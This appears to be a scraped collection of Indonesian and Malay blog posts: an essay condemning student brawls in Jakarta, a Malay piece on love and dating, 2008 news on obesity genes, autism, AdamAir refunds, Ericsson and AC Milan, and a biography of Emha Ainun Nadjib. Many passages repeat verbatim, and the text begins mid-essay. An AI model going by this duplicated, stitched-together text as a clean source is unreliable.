Ketika seorang siswa mendaftar masuk ke SMK negeri, tetapi ia malah tidak diterima di sekolah tersebut. Dia akan masuk ke SMKN lain bahkan ia bisa bersekolah di SMK swasta yang kualitasnya lebih rendah. Disebabkan oleh dendam pada sekolah yang dulu tidak menerimanya sebagai siswa, dia berusaha untuk membuat siswa yang bersekolah di sekolah tersebut merasa tidak nyaman. Dia akan memprofokasikan dan mencari-cari kesalahan sekolah tersebut agar akhirnya terjadi kontak fisik.
B. Sebab selain dendam
1. Ulang tahun sekolah Ketika sebuah sekolah berulang tahun, para siswa beberapa SMK di Jakarta merayakannya dengan merencanakan penyerangan ke berbagai SMK lain yang dianggap sebagai musuh sekolah tersebut.
2. Menjelang hari libur panjang
Saat sehari menjelang hari libur, para siswa juga merencanakan penyerangan ke berbagai sekolah lain yang dianggap sebagai musuh sekolah tersebut.
3. Setelah diumumkan hasil Ujian NasionalIni ialah yang paling bodoh dari segala penyebab tawuran. Tiga tahun bersekolah menuntut ilmu, diakhiri dengan kegiatan yang sangat tidak manusiawi. Bertawuran setelah diumumkan hasil UN akan menyebabkan kematian apabila tidak dapat bertahan. Walaupun dia bisa bertahan siswa tersebut akan tetap dikeluarkan dari sekolahnya. Pelaku tawuran:
Seperti yang kita ketahui, para profokator tawuran ialah seseorang suswa yang penuh dengan dendam. Ada beberapa julukan bagi para pelaku tawuran seperti pentolan dan gembel. Pentolan adalah seorang pemimpin, siswa yang berani melukai tubuh musuhnya saat sedang tawuran. Dia berhak meminta sumbangan pada para siswa untuk alasan membeli BR atau senjata tajam yang akan digunakan saat tawuran. Dia juga berhak meminta uang untuk alasan diberikan kepada temannya yang terluka saat tawuran. Gembel adalah seorang alumni atau seorang yang telah dikeluarkan dari sekolah. Dia juga memiliki hak yang sama seperti pentolan untuk meminta sumbangan.
Senjata yang digunakan saat tawuran:
Senjata yang digunakan saat tawuran ialah senjata tajam dan benda benda tumpul. Contohnya ialah pedang samurai, cerurit, kopel, gesper berkepala gear,dll. Apabila seorang tidak membawa senjata, dia akan menggunakan batu, kayu, atau bambu untuk melawan. Senjata tersebut biasanya disembunyikan di kantin atau semak-semak dekat sekolah.
Kendaraan perang:
Kendaraan yang digunakan saat tawuran ialah bus yang mereka tumpangi saat pergi dan pulang sekolah. Mereka berkumpul ditempat yang mereka janjikan untuk berkumpul dan memberhentikan bus. Setelah itu mereka menaiki bus tersebut beramai-ramai. Disepanjang jalan mereka meneriakkan yel-yel sekolah mereka saat melewati sekolah lain. Kereta juga mereka jadikan tempat bertawuran ketika ada sejumlah siswa dari sekolah lain yang ada di kereta tersebut. Apabila mereka tidak menemukan siswa sekolah lain di kereta tersebut mereka telah mempersiapkan bebatuan ditas mereka untuk melempari siswa sekolah lain yang mereka temui sepanjang perjalanan. Akibat Tawuran:
Aspek fisik:Tawuran dapat menyababkan kematian dan luka berat bagi para siswa. Kerusakan yang parah pada bus yang dan kaca gedung atau rumah yang terkena lemparan batu.
Aspek mental:Tawuran dapat menyebabkan trauma pada para siswa yang menjadi korban, merusak mental para generasi muda, dan menurunkan kualitas pendidikan di Indonesia. Penutup:Kini tawuran antar pelajar sudah hamper tidak terlihat. Karena dedikasi tinggi para kepala sekolah yang langsung menindak para pelaku tawuran. Namun, kini kita masih dapat sering melihat tawuran antar supporter klub sepakbola Indonesia dan tawuran antara fans penonton konser tang sering terjadi. Semoga suatu hari kegiatan seperti ini sudah tidak kita jumpai lagi. Amiiin.
Contoh penyebab tawuran antar pelajar
Para pelajar bertawuran bukannya tanpa sebab. Penyebab tawuran umumnya adalah dendam. Dengan rasa kesetiakawanan yang tinggi para siswa tersebut akan membalas perlakuan yang disebabkan oleh siswa sekolah yang dianggap merugikan seorang siswa atau mencemarkan nama baik sekolah tersebut. Namun dengan sebab apapun kegiatan tersebut tentunya akan menyebabkan dampak yang negatif di berbagai pihak dan aspek. penyebab tawuran antar pelajar antara lain sebagai berikut:
A. Sebab karena dendam:
1. Dendam akibat pemalakan dan perampasan
Apabila seorang siswa dari suatu sekolah menengah atas dipalak atau dirampas uang dan hartanya, dia akan melapor kepada pentolan di sekolahnya. Kemudian pentolan itu akan mengumpulkan siswa untuk menghampiri siswa dari sekolah musuh ditempat dimana biasanya mereka menunggu bis atau kendaraan pulang. Apabila jumlah siswa dari sekolah musuh hanya sedikit, mereka akan balik memalak atau merampas siswa sekolah musuh tersebut. Tetapi jika jumlah siswa sekolah musuh tersebut seimbang atau lebih banyak, mereka akan melakukan kontak fisik.
2. Dendam akibat rasa iri akibat tidak dapat menjadi siswa di SMK yang diinginkan
Ketika seorang siswa mendaftar masuk ke SMK negeri, tetapi ia malah tidak diterima di sekolah tersebut. Dia akan masuk ke SMKN lain bahkan ia bisa bersekolah di SMK swasta yang kualitasnya lebih rendah. Disebabkan oleh dendam pada sekolah yang dulu tidak menerimanya sebagai siswa, dia berusaha untuk membuat siswa yang bersekolah di sekolah tersebut merasa tidak nyaman. Dia akan memprofokasikan dan mencari-cari kesalahan sekolah tersebut agar akhirnya terjadi kontak fisik.
B. Sebab selain dendam
1. Ulang tahun sekolah Ketika sebuah sekolah berulang tahun, para siswa beberapa SMK di Jakarta merayakannya dengan merencanakan penyerangan ke berbagai SMK lain yang dianggap sebagai musuh sekolah tersebut.
2. Menjelang hari libur panjang
Saat sehari menjelang hari libur, para siswa juga merencanakan penyerangan ke berbagai sekolah lain yang dianggap sebagai musuh sekolah tersebut.
3. Setelah diumumkan hasil Ujian NasionalIni ialah yang paling bodoh dari segala penyebab tawuran. Tiga tahun bersekolah menuntut ilmu, diakhiri dengan kegiatan yang sangat tidak manusiawi. Bertawuran setelah diumumkan hasil UN akan menyebabkan kematian apabila tidak dapat bertahan. Walaupun dia bisa bertahan siswa tersebut akan tetap dikeluarkan dari sekolahnya. Pelaku tawuran:
Seperti yang kita ketahui, para profokator tawuran ialah seseorang suswa yang penuh dengan dendam. Ada beberapa julukan bagi para pelaku tawuran seperti pentolan dan gembel. Pentolan adalah seorang pemimpin, siswa yang berani melukai tubuh musuhnya saat sedang tawuran. Dia berhak meminta sumbangan pada para siswa untuk alasan membeli BR atau senjata tajam yang akan digunakan saat tawuran. Dia juga berhak meminta uang untuk alasan diberikan kepada temannya yang terluka saat tawuran. Gembel adalah seorang alumni atau seorang yang telah dikeluarkan dari sekolah. Dia juga memiliki hak yang sama seperti pentolan untuk meminta sumbangan.
Senjata yang digunakan saat tawuran:
Senjata yang digunakan saat tawuran ialah senjata tajam dan benda benda tumpul. Contohnya ialah pedang samurai, cerurit, kopel, gesper berkepala gear,dll. Apabila seorang tidak membawa senjata, dia akan menggunakan batu, kayu, atau bambu untuk melawan. Senjata tersebut biasanya disembunyikan di kantin atau semak-semak dekat sekolah.
Kendaraan perang:
Kendaraan yang digunakan saat tawuran ialah bus yang mereka tumpangi saat pergi dan pulang sekolah. Mereka berkumpul ditempat yang mereka janjikan untuk berkumpul dan memberhentikan bus. Setelah itu mereka menaiki bus tersebut beramai-ramai. Disepanjang jalan mereka meneriakkan yel-yel sekolah mereka saat melewati sekolah lain. Kereta juga mereka jadikan tempat bertawuran ketika ada sejumlah siswa dari sekolah lain yang ada di kereta tersebut. Apabila mereka tidak menemukan siswa sekolah lain di kereta tersebut mereka telah mempersiapkan bebatuan ditas mereka untuk melempari siswa sekolah lain yang mereka temui sepanjang perjalanan. Akibat Tawuran:
Aspek fisik:Tawuran dapat menyababkan kematian dan luka berat bagi para siswa. Kerusakan yang parah pada bus yang dan kaca gedung atau rumah yang terkena lemparan batu.
Aspek mental:Tawuran dapat menyebabkan trauma pada para siswa yang menjadi korban, merusak mental para generasi muda, dan menurunkan kualitas pendidikan di Indonesia. Penutup:Kini tawuran antar pelajar sudah hamper tidak terlihat. Karena dedikasi tinggi para kepala sekolah yang langsung menindak para pelaku tawuran. Namun, kini kita masih dapat sering melihat tawuran antar supporter klub sepakbola Indonesia dan tawuran antara fans penonton konser tang sering terjadi. Semoga suatu hari kegiatan seperti ini sudah tidak kita jumpai lagi. Amiiin.
Akibat Kurang Bercinta
Ketika ada yang bertanya punca siswa dan siswi Melayu kurang cemerlang di IPT, saya jawab dengan mudah: “Mereka kurang bercinta!”. Tentu ramai yang tidak berpuas hati dengan jawapan tersebut. Mereka lantas mengungkit teori saya bahawa ramainya pelajar Melayu gagal di IPT adalah kerana gejala “coupling”. Saya menegaskan bahawa memang “coupling”lah yang menjadi faktor utama kegagalan pelajar-pelajar IPT, tidak kira Melayu atau bukan. Coupling hanya menghabiskan masa, duit, perasaan dan juga tenaga intelektual yang mereka ada. Coupling hanya membawa kepada kegagalan, kecuali coupling yang halal, iaitu menerusi perkahwinan! Lihat sahajalah laporan akhbar kosmo mengenai kegiatan seks luar nikah dan juga aktiviti pengguguran para siswi IPT di ibu kota.
Cuma bercinta dan coupling adalah dua benda yang berbeza. Bercinta yang dimaksudkan ialah proses percintaan yang sebenar. Cinta yang suci dan bersifat positif dan jauh dari pencemaran maknanya yang hakiki. Cinta yang difahami oleh kebanyakan orang dewasa ini adalah “nafsu” dan bukannya cinta. Cinta telah ditukarkan kepada nafsu oleh idealogi materialisme dan juga liberalisme yang berjaya menjajah pemikiran manusia dewasa ini. Cinta sebenarnya bersifat suci dan positif serta jauh dari nafsu. Sayangnya apabila manusia gagal memahami erti cinta, mereka telah menjadikannya sesuatu yang taboo, negatif dan juga tidak suci lagi.
Coupling pula, walaupun dari segi literalnya bersikap neutral, tetapi telah dikotorkan oleh idealogi liberal yang menjadikannya hanya sebagai definisi kepada perhubungan intim dia insan berlaina jantina sebelum berkahwin. Mengikut tafsiran coupling yang difahami oleh ramai orang dewasa ini, ia bukanlah bercinta, tetapi lebih kepada “melayan nafsu serakah” semata-mata.
Cinta yang dimaksudkan di sini ialah cinta suci. Cinta kepada Allah dan Rasul, cinta kepada agama Islam, cinta kepada ibu bapa, cinta kepada Negara dan juga cinta kepada pasangan suami atau isteri. Cinta akan menjadi unsur motivasi dan penggerak, dengan syarat ia adalah cinta sejati!
Cuma bercinta dan coupling adalah dua benda yang berbeza. Bercinta yang dimaksudkan ialah proses percintaan yang sebenar. Cinta yang suci dan bersifat positif dan jauh dari pencemaran maknanya yang hakiki. Cinta yang difahami oleh kebanyakan orang dewasa ini adalah “nafsu” dan bukannya cinta. Cinta telah ditukarkan kepada nafsu oleh idealogi materialisme dan juga liberalisme yang berjaya menjajah pemikiran manusia dewasa ini. Cinta sebenarnya bersifat suci dan positif serta jauh dari nafsu. Sayangnya apabila manusia gagal memahami erti cinta, mereka telah menjadikannya sesuatu yang taboo, negatif dan juga tidak suci lagi.
Coupling pula, walaupun dari segi literalnya bersikap neutral, tetapi telah dikotorkan oleh idealogi liberal yang menjadikannya hanya sebagai definisi kepada perhubungan intim dia insan berlaina jantina sebelum berkahwin. Mengikut tafsiran coupling yang difahami oleh ramai orang dewasa ini, ia bukanlah bercinta, tetapi lebih kepada “melayan nafsu serakah” semata-mata.
Cinta yang dimaksudkan di sini ialah cinta suci. Cinta kepada Allah dan Rasul, cinta kepada agama Islam, cinta kepada ibu bapa, cinta kepada Negara dan juga cinta kepada pasangan suami atau isteri. Cinta akan menjadi unsur motivasi dan penggerak, dengan syarat ia adalah cinta sejati!
Apakah Bahaya Dari Kegemukan??
Terlalu banyak makan ternyata mengganggu seluruh jaringan gen di dalam tubuh. Hal ini tidak hanya menimbulkan obesitas tapi juga diabetes dan penyakit jantung.
Sekelompok peneliti mengembangkan sebuah metode baru yang dapat menganalisa DNA dan menggunakannya untuk meneliti permasalahan obesitas. Ternyata obesitas lebih rumit dari yang pernah dibayangkan.
"Obesitas bukanlah sebuah penyakit melainkan sebuah hasil dari perubahan salah satu gen dalam tubuh yang berakibat mengubah semua jaringan gen yang ada," ujar Direktur Eksekutif Genetik dari laboratorium Merck Eric Schadt, seperti dikutip Reuters, Selasa (18/3/2008).
Tim peneliti tersebut menemukan jaringan dari ratusan gen dalam tubuh sebuah tikus, yang rusak ketika tikus tersebut diberi makan dalam jumlah banyak.
Mereka pun menyimpulkan bahwa orang-orang dengan body mass index yang tinggi, sebuah pengukuran obesitas, memiliki pola karakter aktivitas gen di sekitar jaringan otot dan tidak dapat terlihat dalam hasil tes darah.
"Diet yang baik dan olahraga masih merupakan cara ampuh untuk mencegah kegemukan," ujar Schadt.
Sekelompok peneliti mengembangkan sebuah metode baru yang dapat menganalisa DNA dan menggunakannya untuk meneliti permasalahan obesitas. Ternyata obesitas lebih rumit dari yang pernah dibayangkan.
"Obesitas bukanlah sebuah penyakit melainkan sebuah hasil dari perubahan salah satu gen dalam tubuh yang berakibat mengubah semua jaringan gen yang ada," ujar Direktur Eksekutif Genetik dari laboratorium Merck Eric Schadt, seperti dikutip Reuters, Selasa (18/3/2008).
Tim peneliti tersebut menemukan jaringan dari ratusan gen dalam tubuh sebuah tikus, yang rusak ketika tikus tersebut diberi makan dalam jumlah banyak.
Mereka pun menyimpulkan bahwa orang-orang dengan body mass index yang tinggi, sebuah pengukuran obesitas, memiliki pola karakter aktivitas gen di sekitar jaringan otot dan tidak dapat terlihat dalam hasil tes darah.
"Diet yang baik dan olahraga masih merupakan cara ampuh untuk mencegah kegemukan," ujar Schadt.
Memori Otak Anak
Tim ilmuwan Durham University, Inggris, berpendapat bahwa sebagian anak mendapatkan nilai buruk di sekolah bukan karena malas belajar, melainkan karena kerusakan memori.
Akibat kerusakan memori, anak menjadi kesulitan mencerna informasi,entah pelajaran sejarah, atau pun aljabar.
"Namun, kerusakan memori pada anak dapat diperbaiki dengan latihan memori. Sehingga potensi anak dapat ditingkatkan,? ujar ketua tim peneliti dari Durham University Dr Tracey Alloway.
Memori adalah ruang penyimpan informasi sementara dalam otak. Alloway mengungkapkan, memori bekerja mirip sebuah kotak penyimpan barang yang memiliki batas kapasitas penyimpanan. Anak-anak yang menderita kerusakan memori dapat dilatih untuk mengingat informasi-informasi yang relevan saja.
Sebagai contoh, ketika anak yang mengalami kerusakan memori harus belajar sejarah, anak itu tidak perlu membaca buku dari halaman pertama hingga halaman terakhir. Anak-anak yang bermemori normal mungkin bisa menyimpan informasi dari halaman pertama hingga terakhir pada buku tersebut.
Namun, anak-anak yang menderita kerusakan memori berisiko besar ?tersesat? ketika baru sampai pada halaman tengah. Karena itu, anak-anak itu sebaiknya diberi buku-buku pelajaran khusus yang hanya berisi informasi paling relevan
Akibat kerusakan memori, anak menjadi kesulitan mencerna informasi,entah pelajaran sejarah, atau pun aljabar.
"Namun, kerusakan memori pada anak dapat diperbaiki dengan latihan memori. Sehingga potensi anak dapat ditingkatkan,? ujar ketua tim peneliti dari Durham University Dr Tracey Alloway.
Memori adalah ruang penyimpan informasi sementara dalam otak. Alloway mengungkapkan, memori bekerja mirip sebuah kotak penyimpan barang yang memiliki batas kapasitas penyimpanan. Anak-anak yang menderita kerusakan memori dapat dilatih untuk mengingat informasi-informasi yang relevan saja.
Sebagai contoh, ketika anak yang mengalami kerusakan memori harus belajar sejarah, anak itu tidak perlu membaca buku dari halaman pertama hingga halaman terakhir. Anak-anak yang bermemori normal mungkin bisa menyimpan informasi dari halaman pertama hingga terakhir pada buku tersebut.
Namun, anak-anak yang menderita kerusakan memori berisiko besar ?tersesat? ketika baru sampai pada halaman tengah. Karena itu, anak-anak itu sebaiknya diberi buku-buku pelajaran khusus yang hanya berisi informasi paling relevan
Gangguan Gen
Sebuah gen yang terkoneksi dengan otak ditengarai sebagai penyebab timbulnya gejala autisme. Hal ini berhasil ditemukan oleh peneliti dari Amerika.
Gangguan dalam gen, yang disebut Contactin 4, berpotensi menghentikan kinerja gen sehingga tidak bekerja dengan semestinya. Bahkan gen tersebut mampu membuat otak berhenti bekerja membentuk jaringan yang sesuai.
"Gangguan ini ternyata memiliki 2,5 persen kemampuan untuk menimbulkan masalah autisme," ujar peneliti asal Amerika Dr Eli Hatchwell, seperti dikutip Reuters, Rabu (19/3/2008).
Tim peneliti yang diketuai oleh Hatchwell ini berhasil meneliti 92 pasien dari 81 keluarga dengan menggunakan autis spectrum disorder dan membandingkannya dengan 560 orang yang tidak memiliki masalah autisme. Mereka menganalisa seluruh gen yang ada, meneliti peta DNA dan menemukan bahwa tiga pasien memiliki duplikasi bahkan penghilangan DNA yang merusak Contactin 4.
Bahkan Hatchwell menambahkan bahwa setiap 1 dari 150 anak di dunia berpotensi terkena autis atau penyakit yang mengakibatkan kekacauan otak seperti sindrom Asperger
Gangguan dalam gen, yang disebut Contactin 4, berpotensi menghentikan kinerja gen sehingga tidak bekerja dengan semestinya. Bahkan gen tersebut mampu membuat otak berhenti bekerja membentuk jaringan yang sesuai.
"Gangguan ini ternyata memiliki 2,5 persen kemampuan untuk menimbulkan masalah autisme," ujar peneliti asal Amerika Dr Eli Hatchwell, seperti dikutip Reuters, Rabu (19/3/2008).
Tim peneliti yang diketuai oleh Hatchwell ini berhasil meneliti 92 pasien dari 81 keluarga dengan menggunakan autis spectrum disorder dan membandingkannya dengan 560 orang yang tidak memiliki masalah autisme. Mereka menganalisa seluruh gen yang ada, meneliti peta DNA dan menemukan bahwa tiga pasien memiliki duplikasi bahkan penghilangan DNA yang merusak Contactin 4.
Bahkan Hatchwell menambahkan bahwa setiap 1 dari 150 anak di dunia berpotensi terkena autis atau penyakit yang mengakibatkan kekacauan otak seperti sindrom Asperger
Ericsson Bangun Jaringan Mobile di Arab
BAGHDAD - Vendor jaringan asal Swedia Ericsson berhasil mendapatkan tender pengaturan layanan operator Mobily di Arab. Mobily merupakan salah satu anak usaha dari Etisalat Group.
Kerja sama yang memakan waktu 3 tahun ini merupakan kerja sama terbesar bagi Ericsson di wilayah Timur Tengah. Bahkan hal ini merupakan kerja sama terbesar di dunia industri telekomunikasi di Arab.
Dalam kesepakatan tersebut, Ericsson bertanggung jawab dalam operasional jaringan, operasional jaringan dan optimalisasi. Kerja sama tersebut juga memberikan tanggung jawab kepada Ericsson untuk mengatur seluruh jaringan multi-vendor Mobily.
"Ericsson telah lama bekerja sama dengan Mobily, dan perusahaan Etisalat lainnya, selama beberapa tahun ini. Merupakan sebuah kehormatan bagi Ericsson terpilih sebagai partner layanan untuk memanage jaringan mereka. Kami akan menjaga jalannya operasional jaringan Mobily sehingga mereka bisa dengan tenang melayani pelanggan," ujar SVP dan Kepala Unit bisnis dan layanan global Ericsson, seperti dikutip melalui Cellular News, Rabu (19/3/2008).
Kerja sama yang memakan waktu 3 tahun ini merupakan kerja sama terbesar bagi Ericsson di wilayah Timur Tengah. Bahkan hal ini merupakan kerja sama terbesar di dunia industri telekomunikasi di Arab.
Dalam kesepakatan tersebut, Ericsson bertanggung jawab dalam operasional jaringan, operasional jaringan dan optimalisasi. Kerja sama tersebut juga memberikan tanggung jawab kepada Ericsson untuk mengatur seluruh jaringan multi-vendor Mobily.
"Ericsson telah lama bekerja sama dengan Mobily, dan perusahaan Etisalat lainnya, selama beberapa tahun ini. Merupakan sebuah kehormatan bagi Ericsson terpilih sebagai partner layanan untuk memanage jaringan mereka. Kami akan menjaga jalannya operasional jaringan Mobily sehingga mereka bisa dengan tenang melayani pelanggan," ujar SVP dan Kepala Unit bisnis dan layanan global Ericsson, seperti dikutip melalui Cellular News, Rabu (19/3/2008).
Dirut AdamAir Janji Kembalikan Uang Tiket
JAKARTA - Calon penumpang maskapai AdamAir diminta untuk tenang. Tiket yang sudah terlanjur dibeli oleh para calon penumpang akan dikembalikan.
Demikian janji yang disampaikan Direktur Utama AdamAir, Adam Suherman sebelum mengikuti rapat direksi maskapai tersebut di Jalan Gedong Panjang nomor 21, Jakarta, Rabu (19/3/2008).
"Untuk penumpang kami berkomitmen untuk menembalikan uang mereka. Pengembalian ganti rugi akan melalui travel dan kantor cabang AdamAir, " tegasnya.
Bagi penumpang yang membeli tiket melalui agen travel, lanjut Adam Suherman, dapat minta refund langsung melalui agen bersangkutan. Sementara, penumpang yang membeli langsung dari AdamAir bisa langsung menukarkan ke kantor AdamAir.
Hingga saat ini, masih berlangsung rapat mendadak antar Direksi AdamAir untuk membahas segala permasalahan yang saat ini melanda AdamAir
Demikian janji yang disampaikan Direktur Utama AdamAir, Adam Suherman sebelum mengikuti rapat direksi maskapai tersebut di Jalan Gedong Panjang nomor 21, Jakarta, Rabu (19/3/2008).
"Untuk penumpang kami berkomitmen untuk menembalikan uang mereka. Pengembalian ganti rugi akan melalui travel dan kantor cabang AdamAir, " tegasnya.
Bagi penumpang yang membeli tiket melalui agen travel, lanjut Adam Suherman, dapat minta refund langsung melalui agen bersangkutan. Sementara, penumpang yang membeli langsung dari AdamAir bisa langsung menukarkan ke kantor AdamAir.
Hingga saat ini, masih berlangsung rapat mendadak antar Direksi AdamAir untuk membahas segala permasalahan yang saat ini melanda AdamAir
Penumpang AdamAir Padang
PADANG - Sejumlah calon penumpang AdamAir di Padang terpaksa mengalihkan keberangkatan mereka menggunakan bus. Pasalnya, mereka tak mampu membeli tiket pesawat yang melambung.
Seperti Ardison (25). Calon penumpang AdamAir jurusan Padang-Jakarta ini mengaku, dirinya terpaksa memilih menggunakan jalur darat karena harga tiket mencapai Rp1-1,5 juta.
"Saya terpaksa naik bus ke Jakarta, karena harga tiket naik bus hampir sama dengan harga tiket pesawat sebelumnya yakni Rp300 ribu," katanya Ardison, Rabu (19/3/2008).
Namun, lanjutnya, dirinya masih kecewa dengan pengembalian uang yang belum diterimanya dari AdamAir.
"Saya berharap uang pengganti tiket ini bisa dikembalikan secepatnya, karena uang tersebut akan digunakan untuk beli tiket bus," keluhnya.
Seperti Ardison (25). Calon penumpang AdamAir jurusan Padang-Jakarta ini mengaku, dirinya terpaksa memilih menggunakan jalur darat karena harga tiket mencapai Rp1-1,5 juta.
"Saya terpaksa naik bus ke Jakarta, karena harga tiket naik bus hampir sama dengan harga tiket pesawat sebelumnya yakni Rp300 ribu," katanya Ardison, Rabu (19/3/2008).
Namun, lanjutnya, dirinya masih kecewa dengan pengembalian uang yang belum diterimanya dari AdamAir.
"Saya berharap uang pengganti tiket ini bisa dikembalikan secepatnya, karena uang tersebut akan digunakan untuk beli tiket bus," keluhnya.
AdamAir Nunggak Rp191 Juta di Adi Sucipto
YOGYAKARTA - Permasalahan internal AdamAir berbuntut panjang. Kini perusahaan yang dibawahi Adam Suherman harus membayar hutang ke Bandar Udara Adi Sucipto, Yogyakarta sebesar Rp191 juta.
"Angka tersebut nerupakan akumulasi dari jasa pelayanan penerbangan, sebelum mendarat, sampai dengan parkir. Selain itu juga jasa parkir dan sewa tempat," kata Manajer Administrasi dan Keuangan PT Angkasa Pura I Bandara Adisucipto Yogyakarta, Aryadi Subagyo, Rabu (19/3/2008).
Dia menjelaskan, hingga kini pihaknya masih melakukan negosiasi dengan pihak AdamAir. "Masih dalam negosiasi dengan AdamAir," tandasnya.
Sementara itu, lanjut Aryadi, pihaknya memastikan tidak ada penumpukan di bandara. Dia memaparkan, seluruh penumpang dapat terangkut dengan pesawat lainnya.
"Penumpang diangkut menggunakan Lion Air 900ER berkapasitas 213 penumpang, dan Mandala Airbus 320 berkapasitas 180 penumpang," paparnya.
Dari pantauan di lapangan, tempat penjualan tiket AdamAir di Bandara Adi Sucipto, masih terlihat sejumlah staf melayani pengembalian tiket dari penumpang.
(Sita Maharani/Trijaya/kem)
"Angka tersebut nerupakan akumulasi dari jasa pelayanan penerbangan, sebelum mendarat, sampai dengan parkir. Selain itu juga jasa parkir dan sewa tempat," kata Manajer Administrasi dan Keuangan PT Angkasa Pura I Bandara Adisucipto Yogyakarta, Aryadi Subagyo, Rabu (19/3/2008).
Dia menjelaskan, hingga kini pihaknya masih melakukan negosiasi dengan pihak AdamAir. "Masih dalam negosiasi dengan AdamAir," tandasnya.
Sementara itu, lanjut Aryadi, pihaknya memastikan tidak ada penumpukan di bandara. Dia memaparkan, seluruh penumpang dapat terangkut dengan pesawat lainnya.
"Penumpang diangkut menggunakan Lion Air 900ER berkapasitas 213 penumpang, dan Mandala Airbus 320 berkapasitas 180 penumpang," paparnya.
Dari pantauan di lapangan, tempat penjualan tiket AdamAir di Bandara Adi Sucipto, masih terlihat sejumlah staf melayani pengembalian tiket dari penumpang.
(Sita Maharani/Trijaya/kem)
Adam Air
JAKARTA - Maskapai penerbangan AdamSky Connection Airlines alias AdamAir berjanji akan melakukan pengembalian tiket penumpang yang sudah membeli dan batal diberangkatkan. Rencananya pengembalian tiket dalam bentuk uang mulai berlaku 24 Maret.
"AdamAir akan melakukan refund secara penuh tanpa dikenakan biaya apapun," kata Adam Aditya dalam jumpa pers di Gedung Wisma Nugra Santana, Lantai 9, Jalan Jend Sudirman, Jakarta, Rabu (19/3/2008).
Adam menambahkan, apabila penumpang membeli tiket melalui kantor AdamAir refund (pengembalian) dapat dilakukan langsung di kantor AdamAir. Begitu juga apabila penumpang membeli tiket melalui agen penjual tiket AdamAir, maka proses refund dilakukan melalui agen tempat penumpang membeli tiket.
"Refund paling lambat dalam sepuluh hari kerja yakni Senin sampai Jumat. Dari pukul 09.00 WIB-15.00 WIB," jelas Adam
"AdamAir akan melakukan refund secara penuh tanpa dikenakan biaya apapun," kata Adam Aditya dalam jumpa pers di Gedung Wisma Nugra Santana, Lantai 9, Jalan Jend Sudirman, Jakarta, Rabu (19/3/2008).
Adam menambahkan, apabila penumpang membeli tiket melalui kantor AdamAir refund (pengembalian) dapat dilakukan langsung di kantor AdamAir. Begitu juga apabila penumpang membeli tiket melalui agen penjual tiket AdamAir, maka proses refund dilakukan melalui agen tempat penumpang membeli tiket.
"Refund paling lambat dalam sepuluh hari kerja yakni Senin sampai Jumat. Dari pukul 09.00 WIB-15.00 WIB," jelas Adam
Milan Kalah
MILAN - Pelatih AC Milan Carlo Ancelotti tengah dibekap frustrasi. Dia kecewa timnya gagal memberikan kemenangan dan justru kalah 1-2 dari Sampdoria pada lanjutan Serie A, laga ke-29, Kamis (20/3/2008).
"Hasil ini menyedihkan. Kami bermain buruk sepanjang pertandingan. Kami membuat dua kesalahan fatal yang kemudian sulit untuk diperbaiki," kecam Carletto, seperti dilansir Goal.
Meski kecewa Carletto berusaha introspeksi. Dia semakin terpukul ketika menggantikan kaka yang terlihat cedera.
"Kami gagal bermain baik kali ini. Keluarnya Kaka menambah kesengsaraan tim," tegasnya.
Ketika ditanya Milan dihuni pemain-pemain tua, Carletto tidak membantahnya.
"Mungkin benar tapi kami harus menunggu analisa itu hingga akhir musim. Ini merupakan pertimbangan yang harus kami lakukan pada Juni mendatang," imbuhnya.
"Hari ini Sampdoria mampu bermain dengan penuh percaya diri," tutupnya
"Hasil ini menyedihkan. Kami bermain buruk sepanjang pertandingan. Kami membuat dua kesalahan fatal yang kemudian sulit untuk diperbaiki," kecam Carletto, seperti dilansir Goal.
Meski kecewa Carletto berusaha introspeksi. Dia semakin terpukul ketika menggantikan kaka yang terlihat cedera.
"Kami gagal bermain baik kali ini. Keluarnya Kaka menambah kesengsaraan tim," tegasnya.
Ketika ditanya Milan dihuni pemain-pemain tua, Carletto tidak membantahnya.
"Mungkin benar tapi kami harus menunggu analisa itu hingga akhir musim. Ini merupakan pertimbangan yang harus kami lakukan pada Juni mendatang," imbuhnya.
"Hari ini Sampdoria mampu bermain dengan penuh percaya diri," tutupnya
Emha Ainun Nadjib
Emha Ainun Nadjib. Pria kelahiran Jombang, Jawa Timur, 27 Mei 1953, ini mengaku seorang pelayan. Suami Novia Kolopaking dan pimpinan Grup Musik Kyai Kanjeng, yang dipanggil akrab Cak Nun, itu memang dalam berbagai kegiatannya, lebih bersifat melayani yang merangkum dan memadukan dinamika kesenian, agama, pendidikan politik dan sinergi ekonomi. Semua kegiatan pelayannya ingin menumbuhkan potensialitas rakyat.
Bersama Grup Musik Kiai Kanjeng, Cak Nun rata-rata 10-15 kali per bulan berkeliling ke berbagai wilayah nusantara, dengan acara massal yang umumnya dilakukan di area luar gedung. Di samping itu, secara rutin (bulanan) bersama komunitas Masyarakat Padang Bulan, aktif mengadakan pertemuan sosial melakukan berbagai dekonstruksi pemahaman atas nilai-nilai, pola-pola komunikasi, metoda perhubungan kultural, pendidikan cara berpikir, serta pengupayaan solusi-solusi masalah masyarakat.
Dalam berbagai forum komunitas Masyarakat Padang Bulan itu, pembicaraan mengenai pluralisme sering muncul. Berkali-kali Cak Nun yang menolak dipanggil kiai itu meluruskan pemahaman mengenai konsep yang ia sebut sebagai manajemen keberagaman itu.
Dia selalu berusaha meluruskan berbagai salah paham mengenai suatu hal, baik kesalahan makna etimologi maupun makna kontekstual. Salah satunya mengenai dakwah, dunia yang ia anggap sudah terpolusi. Menurutnya, sudah tidak ada parameter siapa yang pantas dan tidak untuk berdakwah.
"Dakwah yang utama bukan dengan kata-kata, melainkan dengan perilaku. Orang yang berbuat baik sudah berdakwah," katanya.
Karena itulah ia lebih senang bila kehadirannya bersama istri dan kelompok musik Kiai Kanjeng di taman budaya, masjid, dan berbagai komunitas warga tak disebut sebagai kegiatan dakwah. "Itu hanya bentuk pelayanan. Pelayanan adalah ibadah dan harus dilakukan bukan hanya secara vertikal, tapi horizontal," ujarnya.
Emha merintis bentuk keseniannya itu sejak akhir 1970-an, bekerja sama dengan Teater Dinasti -- yang berpangkalan di rumah kontrakannya, di Bugisan, Yogyakarta. Beberapa kota di Jawa pernah mereka datangi, untuk satu dua kali pertunjukan.
Selain manggung, ia juga menjadi kolumnis. Emha anak keempat dari 15 bersaudara. Ayahnya, Almarhum MA Lathif, adalah seorang petani. Dia mengenyam pendidikan SD di Jombang (1965) dan SMP Muhammadiyah di Yogyakarta (1968). Sempat masuk Pondok Modern Gontor Ponorogo tapi kemudian dikeluarkan karena melakukan demo melawan pemerintah pada pertengahan tahun ketiga studinya.
